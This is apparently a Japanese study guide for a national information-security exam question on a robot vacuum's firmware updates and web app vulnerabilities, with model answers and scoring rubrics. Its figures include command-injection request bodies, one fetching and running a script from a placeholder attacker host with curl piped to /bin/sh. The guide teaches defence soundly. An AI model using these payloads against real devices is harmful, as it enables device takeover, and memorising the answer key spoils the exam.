令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問1 IoT製品のファームウェア更新とWebアプリの脆弱性対策
テクノロジセキュリティ技術
学習ガイド
家電メーカーのロボット掃除機のファームウェア更新機能とWebアプリの脆弱性を扱う問題です。DNSキャッシュポイズニングの条件とHTTPSの防御範囲、コード署名による真正性の検証、OSコマンドインジェクションとCSRFの原因と対策を確認し、二つの脆弱性が連鎖したときのリスクを攻撃リクエストの内容から読み解きます。
この記事で押さえる論点
- DNSキャッシュポイズニングの成立条件(UDP・IDとポート番号の一致)と、HTTPSの適切な実装がその影響を防ぐ理由を説明できる
- コード署名によりダウンロードしたファームウェアの真正性を検証する仕組みを述べられる
- OSコマンドインジェクションの原因(パラメータをシェルに渡す実装)とライブラリ関数による対策を説明できる
- CSRFとOSコマンドインジェクションが連鎖する攻撃を理解し、推測困難なトークンによる対策を設計できる
出題情報
- 出題
- 2022(R4)秋 情報処理安全確保支援士 午後I 問1
- 配点
- 50点満点
- 模範解答
- 公表(設問ごとに掲載)
出題趣旨・採点講評(IPA 公表)
製品開発においては,設計・開発時に十分なセキュリティ対策を行うことが重要である。脆弱性単体では発生し得る被害が小さいように見えたとしても,他の脆弱性と組み合わせられることで,より大きな被害が発生することもある。本問では,IoT製品の開発を題材に,開発者として脆弱性単体だけでなく,複数の脆弱性の組合せによって生じるリスクを特定する能力,及びアプリケーションプログラムのセキュリティ対策を策定する能力を問う。
問1では,IoT製品の開発を題材に,ファームウェアの改ざん対策及びWebアプリケーションプログラムのセキュリティについて出題した。全体として正答率は平均的であった。
問題本文
問1 IoT製品の開発に関する次の記述を読んで,設問に答えよ。
J社は,家電の製造・販売を手掛ける従業員1,000名の会社である。J社では,自社の売れ筋製品であるロボット掃除機の新製品(以下,製品Rという)を開発し,販売することにした。製品Rの仕様を図1に示す。

図の説明テキスト
製品Rの仕様(抜粋)が箇条書きで記載されている。
・掃除機能に加え、無線LANへの接続機能を搭載する。さらに、製品RがもつWebアプリケーションプログラム(以下、WebアプリRという)経由で掃除エリアを設定する機能や掃除履歴を確認する機能を搭載する。
・DHCPでIPアドレスの割当てが行われる。
・スマートフォンにインストールした専用のアプリケーションプログラムは、同一セグメント内にある製品Rを探し、WebアプリRにアクセスする。
・製品Rに設定されたIPアドレスを使い、PCのWebブラウザからWebアプリRにアクセスすることもできる。
・製品Rに搭載するファームウェアにはLinuxベースのOSを用いる。WebアプリRはそのOSの上で動作させる。
・WebアプリRは、次の機能を有する。
- ログイン機能:WebアプリRを使うために、利用者IDとパスワードによる認証を行う。
- 掃除エリア設定機能:(省略)
- 掃除履歴確認機能:(省略)
- ファームウェアアップデート機能:J社のファームウェア提供サーバ(以下、Wサーバという)からインターネット経由で、新しいバージョンのファームウェアを適用する。本機能では、Wサーバに新しいバージョンのファームウェアが存在するかどうかを確認し、存在する場合にはダウンロードして適用する。本機能は、定期的に実行されるが、利用者からWebアプリR経由でファームウェアアップデートが要求されたときも実行される。本機能ではWサーバの名前解決を行う。製品RからWサーバに対するファームウェアアップデートの要求はHTTPSで行う。
- IPアドレス設定機能:製品Rに新しいIPアドレスを設定する。POSTメソッドによる入力だけを受け付ける。
WebアプリRを含むファームウェアの開発は,開発部のFさんとG主任が担当することになった。
〔各機能のセキュリティ対策の検討〕
まず,Fさんは,ファームウェアアップデート機能のセキュリティ対策を検討した。ファームウェアアップデート機能が偽のファームウェアをダウンロードしてしまうケースを考えた。そのケースには,DNSキャッシュサーバが権威DNSサーバにWサーバの名前解決要求を行ったときに,攻撃者が偽装したDNS応答を送信するという手法を使って攻撃を行うケースがある。この攻撃手法は a と呼ばれる。
この攻撃は,DNSキャッシュサーバが通信プロトコルに b を使って名前解決要求を送信し,かつ,攻撃者が送信したDNS応答が,当該DNSキャッシュサーバに到達できることに加えて,①幾つかの条件を満たした場合に成功する。攻撃が成功すると,DNSキャッシュサーバが攻撃者による応答を正当なDNS応答として処理してしまい,偽の情報が保存される。当該DNSキャッシュサーバを製品Rが利用して,この攻撃の影響を受けると,攻撃者のサーバから偽のファームウェアをダウンロードしてしまう。しかし,Fさんは,②製品Rは,Wサーバとの間の通信においてHTTPSを適切に実装しているので,この攻撃の影響は受けないと考えた。Fさんは,ファームウェアアップデート機能のセキュリティ対策がこれで十分か,G主任に相談した。次は,この時のG主任とFさんとの会話である。
G主任:攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます。しかし,偽のファームウェアをダウンロードしてしまう場合として,ほかにも,攻撃者がWサーバに侵入するなどの方法でファームウェアを直接置き換える場合もあります。対策として,ファームウェアに c を導入しましょう。まず,製品Rでは c 証明書がJ社のものであることを検証します。その上で,検証された c 証明書を使って,ダウンロードしたファームウェアの真正性を検証しましょう。
Fさん:分かりました。
続いて,Fさんは,WebアプリRの実装について開発部の他の部員にレビューを依頼した。その結果,脆弱性Aと脆弱性Bの二つの脆弱性が指摘された。
〔脆弱性A〕
IPアドレス設定機能には,任意のコマンドを実行してしまう脆弱性がある。図2に示すように,利用者がIPアドレス設定画面でIPアドレス,サブネットマスク及びデフォルトゲートウェイのIPアドレスをそれぞれ入力してから確認ボタンをクリックし,IPアドレス設定確認画面で確定ボタンをクリックすると,setvalueに対して図3に示すリクエストが送信される。setvalueが図3中のパラメータを含むコマンド文字列をシェルに渡すと,図4のIPアドレス設定を行うコマンドなどが実行される。

図の説明テキスト
IPアドレス設定に用いる2つの画面の例。左側が「IPアドレス設定画面」で、IPアドレス「192.168.1.101」、サブネットマスク「255.255.255.0」、デフォルトゲートウェイ「192.168.1.1」の入力欄と「確認」ボタンがある。右側が「IPアドレス設定確認画面」で、「次の値を設定します。」というメッセージとともに各入力値が表示され、「確定」ボタンが配置されている。

図の説明テキスト
POSTメソッドのHTTPリクエストの例。「POST /setvalue HTTP/1.1」、「Host: 192.168.1.100」などのヘッダがあり、ボディ部には「ipaddress=192.168.1.101&netmask=255.255.255.0&defaultgw=192.168.1.1」というパラメータが設定されている。注記1)として「"192.168.1.100" は,製品Rの変更前のIPアドレスである。」と記載されている。

図の説明テキスト
「ifconfig eth1 "192.168.1.101" netmask "255.255.255.0"」というコマンド文字列が示されている。
リクエストに対するsetvalueの処理には,dしてしまうという問題点があるので,setvalueに対して,図5に示す細工されたリクエストが送られると,製品Rは想定外のコマンドを実行してしまう。

図の説明テキスト
POSTメソッドのHTTPリクエストの例。ボディ部に「ipaddress=192.168.1.101&netmask=255.255.255.0";ping -c 1 192.168.1.10;"&defaultgw=192.168.1.1」という細工されたパラメータが設定されており、netmaskの値に続けてpingコマンドが挿入されている。注記1)として「"192.168.1.10" は,製品Rから到達可能なIPアドレスである。」、注記2)として「URLデコード済みである。」と記載されている。
〔脆弱性B〕
IPアドレス設定機能には,ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし,利用者が意図せずに悪意のあるリクエストをWebアプリRに送信させられた場合に,WebアプリRがそのリクエストを受け付けて処理してしまう脆弱性がある。
〔脆弱性の修正〕
次は,二つの脆弱性の指摘を踏まえて修正を検討した時の,FさんとG主任の会話である。
Fさん:脆弱性Aですが,悪用されるリスクは低いです。というのは,利用者宅内にある製品Rは,インターネットからは直接アクセスできないと想定されるからです。攻撃するには,攻撃者は利用者宅の同一セグメントにつなぎ,不正なログインも成功させる必要があります。修正の優先度を下げてもよいのではないでしょうか。
G主任:確かに脆弱性Aだけを悪用されるリスクは低いでしょう。しかし,例えば,攻撃者が,WebアプリRにログイン済みの利用者を罠サイトに誘い,③図6の攻撃リクエストを送信させると,脆弱性Bが悪用され,その後,脆弱性Aが悪用されます。この結果,製品Rは攻撃者のファイルをダウンロードして実行してしまいます。このリスクは低くありません。

図の説明テキスト
POSTメソッドのHTTPリクエストの例。ボディ部に「ipaddress=192.168.1.101&netmask=255.255.255.0";curl http://△△△.com | /bin/sh -;"&defaultgw=192.168.1.1」という悪意のあるパラメータが設定されており、curlで外部からスクリプトを取得してシェルに渡すコマンドが挿入されている。注記1)として「"http://△△△.com" は,攻撃者のファイルをダウンロードさせるためのURLである。」、注記2)として「URLデコード済みである。」と記載されている。
Fさん:分かりました。脆弱性Aと脆弱性Bの両方を修正します。
Fさんは,脆弱性Aへの対策として,利用者からリクエストのパラメータとして受け取ったIPアドレス情報を,コマンドを用いず安全にIPアドレスを設定できるライブラリ関数を利用する方法で設定することにした。次に,脆弱性Bについては,利用者からのリクエストのパラメータに,セッションにひも付けられ,かつ,eという特徴をもつトークンを付与し,WebアプリRはそのトークンを検証するように修正した。
FさんとG主任は,そのほかに必要なテストも行って,WebアプリRを含むファームウェアの開発を完了した。
設問と解答・解説
設問1
〔各機能のセキュリティ対策の検討〕について答えよ。
本文中のaに入れる攻撃手法の名称を15字以内で答えよ。
模範解答
DNSキャッシュポイズニング
採点基準
- 5点: 「DNSキャッシュポイズニング」と正確に解答している。
- 2点: 攻撃の性質を捉えているが、用語が不正確または一部欠落している。
- 0点: 無解答、または全く異なる攻撃手法を解答している。
解説
IoT製品における名前解決の仕組みにおいて、キャッシュDNSサーバが不正なDNS応答を受け取ることで発生する脅威についての設問です。
攻撃者が偽のDNS応答をキャッシュDNSサーバに送り込み、偽のIPアドレスをキャッシュさせる攻撃手法は DNSキャッシュポイズニング と呼ばれます。これによって、利用者は正しいドメイン名を入力しても、攻撃者が用意した偽のサーバ(罠サイトなど)に誘導されてしまいます。
高得点のポイント
- 攻撃手法の名称として DNSキャッシュポイズニング を正確に記述していること
本文中のbに入れる適切な字句を,解答群の中から選び,記号で答えよ。
模範解答
選択肢エ: UDP
解説
DNSの名前解決で使用されるトランスポート層のプロトコルについての設問です。
DNSの通常の名前解決の問い合わせ(クエリ)と応答には、高速な通信が可能な UDP が用いられます。なお、ゾーン転送や応答サイズが非常に大きい場合にはTCPが使用されます。
各選択肢の解説
- ア: ARP はIPアドレスからMACアドレスを解決するプロトコルであり、誤りです。
- イ: ICMP はPingなどで使用される制御メッセージプロトコルであり、誤りです。
- ウ: TCP は信頼性の高い通信を提供しますが、通常のDNS問い合わせではUDPが使われるため、ここでは不適切です。
- エ: UDP が正解です。
本文中の下線①について,攻撃者が送信したDNS応答が攻撃として成功するために満たすべき条件のうちの一つを,30字以内で答えよ。
模範解答
権威DNSサーバからの応答よりも早く到達する。
採点基準
- 3点: 権威DNSサーバからの応答より早く到達する必要性を完全に理解している。
- 2点: 早く到達する必要性には触れているが、比較対象(権威DNSサーバ)の記述がない。
- 1点: DNSの応答の仕組みに触れているが、攻撃成功の条件としての記述が不十分。
- 0点: 的外れな解答または無解答。
- 2点: 条件として論理的で明確な文脈で記述されている。
- 1点: 意味は通じるが、文の構造や表現にやや不明瞭な点がある。
- 0点: 文脈が破綻している、または無解答。
解説
DNSキャッシュポイズニング攻撃が成功するための条件に関する設問です。
攻撃者が送信した偽のDNS応答がキャッシュDNSサーバに受け入れられるためには、正規の応答よりも先に到達する必要があります。つまり、正規の 権威DNSサーバ からの応答よりも早くキャッシュDNSサーバに到達しなければ、偽のキャッシュを登録させることはできません。
高得点のポイント
- 正規の 権威DNSサーバ からの応答と比較していること
- 攻撃者の応答がそれよりも 早く到達する 必要性を論理的に記述していること
本文中の下線②について,どのような実装か。40字以内で答えよ。
模範解答
サーバ証明書を検証し,通信相手がWサーバであることを確認する実装
採点基準
- 3点: サーバ証明書を検証し、接続先が意図したサーバであることを確認する点を明記している。
- 2点: サーバ証明書の検証には触れているが、意図したサーバであるかの確認について記述が不足している。
- 1点: 暗号化などTLSの別の側面にしか触れていない。
- 0点: 無解答、または全く異なる内容。
- 2点: 実装の内容として論理的かつ分かりやすく記述されている。
- 1点: 意味は通じるが、実装の記述として表現にやや難がある。
- 0点: 論理が破綻している、または無解答。
解説
IoT機器が通信先のサーバの正当性を確認する仕組みについての設問です。
暗号化通信(HTTPS)において、単に通信経路を暗号化するだけでは、接続先が攻撃者の用意した偽サーバであっても気づくことができません。安全なファームウェアのダウンロードを行うためには、サーバから提示される サーバ証明書 を検証し、通信相手が正規の Wサーバ であることを確認する(サーバ認証)実装が必要です。
高得点のポイント
- サーバ証明書を検証 するプロセスに言及していること
- それにより通信相手が意図したサーバ(Wサーバ)であるかを確認する目的が明記されていること
本文中のcに入れる適切な字句を10字以内で答えよ。
模範解答
コードサイニング
採点基準
- 5点: 「コードサイニング」と正確に解答している。
- 2点: 用語に軽微な誤りや表記揺れがあるが、意味するところはコードサイニングであると判断できる。
- 0点: 無解答、または誤答。
設問1(4)は,正答率が低かった。HTTPSを利用して攻撃者のサーバから偽のファームウェアをダウンロードさせない実装を問う問題であったが,暗号化を行うという解答や,サーバ証明書の確認に触れていない解答が散見された。安全な通信を行うためのTLSについて理解を深めてほしい。
設問2
本文中のdに入れる適切な字句を35字以内で答えよ。
模範解答
シェルが実行するコマンドをパラメータで不正に指定できて
採点基準
- 6点: 「シェルが実行するコマンドをパラメータで不正に指定できて」という趣旨を正確に記述している。
- 3点: パラメータによる不正な指定には触れているが、シェルのコマンド実行に関する記述が不足している。
- 0点: 無解答、または誤答。
設問3
〔脆弱性の修正〕について答えよ。
本文中の下線③について,罠サイトではどのような仕組みを使って利用者に脆弱性Bを悪用する攻撃リクエストを送信させることができるか。仕組みを50字以内で具体的に答えよ。
模範解答
攻撃リクエストをPOSTメソッドで送信させるスクリプトを含むページを表示させる仕組み
採点基準
- 3点: スクリプト等を用い、POSTメソッドで攻撃リクエストを送信させる仕組みを正確に記述している。
- 2点: 攻撃リクエストの送信については触れているが、POSTメソッドやスクリプトなどの具体性が欠けている。
- 1点: CSRFの概要には触れているが、仕組みの具体的な説明として不十分。
- 0点: 全く異なる攻撃手法の説明をしている、または無解答。
- 3点: 罠サイトが利用者にリクエストを送信させる仕組みとして、主語と述語の関係が明確に論理立てて説明されている。
- 2点: 大まかな文脈は伝わるが、文章の繋がりや表現にやや不自然な点がある。
- 1点: 単語の羅列にとどまるなど、文章としての論理性が低い。
- 0点: 意味不明な記述、または無解答。
解説
罠サイトを利用した クロスサイトリクエストフォージェリ (CSRF) 攻撃の具体的な仕組みについての設問です。
攻撃者は、利用者がアクセスする罠サイトに細工した スクリプト などを仕込んでおきます。利用者がそのページを閲覧すると、ブラウザ上でスクリプトが実行され、標的サイトに対して POSTメソッド で意図しない攻撃リクエストが自動的に送信されてしまいます。
高得点のポイント
- 罠サイトから自動的にリクエストを送信させる仕組み(スクリプト を含むページ等)について言及していること
- 送信させるリクエストが POSTメソッド である点が含まれていること
- 利用者の意図に反してリクエストを送信させる構造が論理的に説明されていること
本文中のeに入れる,トークンがもつべき特徴を15字以内で答えよ。
模範解答
推測困難である
採点基準
- 6点: 「推測困難である」という趣旨を正確に記述している。
- 3点: 意味合いは近いが、「推測困難」というキーワードからやや離れた表現(例:ランダムである等)となっている。
- 0点: 無解答、または誤答。
解説
CSRF対策として発行されるトークンに必要な性質についての設問です。
CSRF攻撃を防ぐためには、セッションごとに一意のトークンを発行し、リクエスト時にそのトークンを検証します。この際、攻撃者にトークンの値を推測されてしまうと、偽造されたリクエストが正規のものとして扱われてしまうため、トークンは 推測困難 な値(十分な長さとランダム性を持つ値)である必要があります。
高得点のポイント
- トークンの値が攻撃者にとって 推測困難 である必要性を正確に記述していること
設問3は,(1),(2)ともに正答率が低かった。リスク評価及び脆弱性の対策立案において,攻撃を受ける具体的な脅威を想定することは重要である。POSTメソッドを用いたクロスサイトリクエストフォージェリ攻撃の仕組みとその攻撃を防ぐための対策について理解を深めてほしい。
設問4
脆弱性A及び脆弱性Bが該当するCWEを,それぞれ解答群の中から選び,記号で答えよ。
脆弱性Aが該当するCWEを選べ。
模範解答
選択肢ア: CWE-78 OSコマンドインジェクション
解説
脆弱性A(OSコマンドインジェクション)が該当するCWE(Common Weakness Enumeration)を分類する設問です。
シェルが実行するコマンドをパラメータなどで不正に指定できる脆弱性は、CWE-78 OSコマンドインジェクション に該当します。
各選択肢の解説
- ア: CWE-78 OSコマンドインジェクション であり、正解です。
- イ: CWE-79 はクロスサイトスクリプティングであり、誤りです。
- ウ: CWE-89 はSQLインジェクションであり、誤りです。
- エ: CWE-94 はコードインジェクションであり、誤りです。
- オ: CWE-352 はクロスサイトリクエストフォージェリであり、誤りです。
- カ: CWE-918 はサーバサイドリクエストフォージェリであり、誤りです。
脆弱性Bが該当するCWEを選べ。
模範解答
選択肢オ: CWE-352 クロスサイトリクエストフォージェリ
解説
脆弱性B(クロスサイトリクエストフォージェリ)が該当するCWEを分類する設問です。
罠サイト等を経由して、利用者の意図しないリクエストを強制的に送信させる脆弱性は、CWE-352 クロスサイトリクエストフォージェリ (CSRF) に該当します。
各選択肢の解説
- ア: CWE-78 はOSコマンドインジェクションであり、誤りです。
- イ: CWE-79 はクロスサイトスクリプティングであり、誤りです。
- ウ: CWE-89 はSQLインジェクションであり、誤りです。
- エ: CWE-94 はコードインジェクションであり、誤りです。
- オ: CWE-352 クロスサイトリクエストフォージェリ であり、正解です。
- カ: CWE-918 はサーバサイドリクエストフォージェリであり、誤りです。